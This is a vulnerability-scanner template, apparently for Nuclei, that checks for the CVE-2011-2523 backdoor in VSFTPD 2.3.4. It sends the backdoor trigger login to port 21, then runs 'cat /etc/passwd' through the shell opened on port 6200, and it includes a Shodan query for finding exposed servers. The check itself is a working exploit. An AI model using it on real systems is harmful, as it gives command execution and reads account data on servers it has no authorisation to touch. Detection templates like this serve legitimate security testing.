43 lines
1.2 KiB
YAML
43 lines
1.2 KiB
YAML
id: CVE-2011-2523
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info:
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name: VSFTPD 2.3.4 - Backdoor Command Execution
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author: pussycat0x
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severity: critical
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description: |
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VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.
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reference: |
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- https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
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- https://www.exploit-db.com/exploits/49757
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remediation: |
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Update to the latest version of VSFTPD, which does not contain the backdoor.
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classification:
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cve-id: CVE-2011-2523
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metadata:
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max-request: 2
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verified: true
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shodan-query: product:"vsftpd"
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tags: cve,cve2011,network,vsftpd,ftp,backdoor
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variables:
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cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs
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tcp:
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- inputs:
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- data: "USER letmein:)\r\nPASS please\r\n"
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read: 100
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host:
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- "{{Host}}:21"
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- inputs:
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- data: "{{cmd}}\n"
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read: 100
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host:
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- "{{Host}}:6200"
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matchers:
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- type: regex
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part: raw
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regex:
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- "root:.*:0:0:"
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